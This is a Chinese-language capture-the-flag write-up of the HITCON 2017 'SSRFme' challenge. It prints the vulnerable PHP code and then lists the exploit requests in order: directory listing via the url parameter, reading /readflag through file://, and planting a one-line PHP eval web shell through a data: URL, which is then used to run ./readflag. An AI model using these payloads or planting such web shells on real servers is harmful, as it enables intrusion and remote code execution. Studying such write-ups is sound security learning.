HITCON2017SSRFME-学习复盘

代码审计

php 复制代码
192.168.122.15 
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求
    //在存在有请求头时执行
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//移动到该文件夹下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求
    $info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀
    $dir  = str_replace(".", "", basename($info["dirname"]));//路径的.换为空
    @mkdir($dir);//创建传入的目录
    @chdir($dir);//切换到该目录下
    @file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里

    highlight_file(__FILE__);

所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。

SSRF利用

?url=/&filename=1.php

漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php

目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php

读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php

看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag

得到flag。

参考文章

https://www.cnblogs.com/CAPD/p/17858896.html

相关推荐
JaguarJack10 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo10 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack1 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
西岸行者2 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
悠哉悠哉愿意2 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码2 天前
嵌入式学习路线
学习
毛小茛2 天前
计算机系统概论——校验码
学习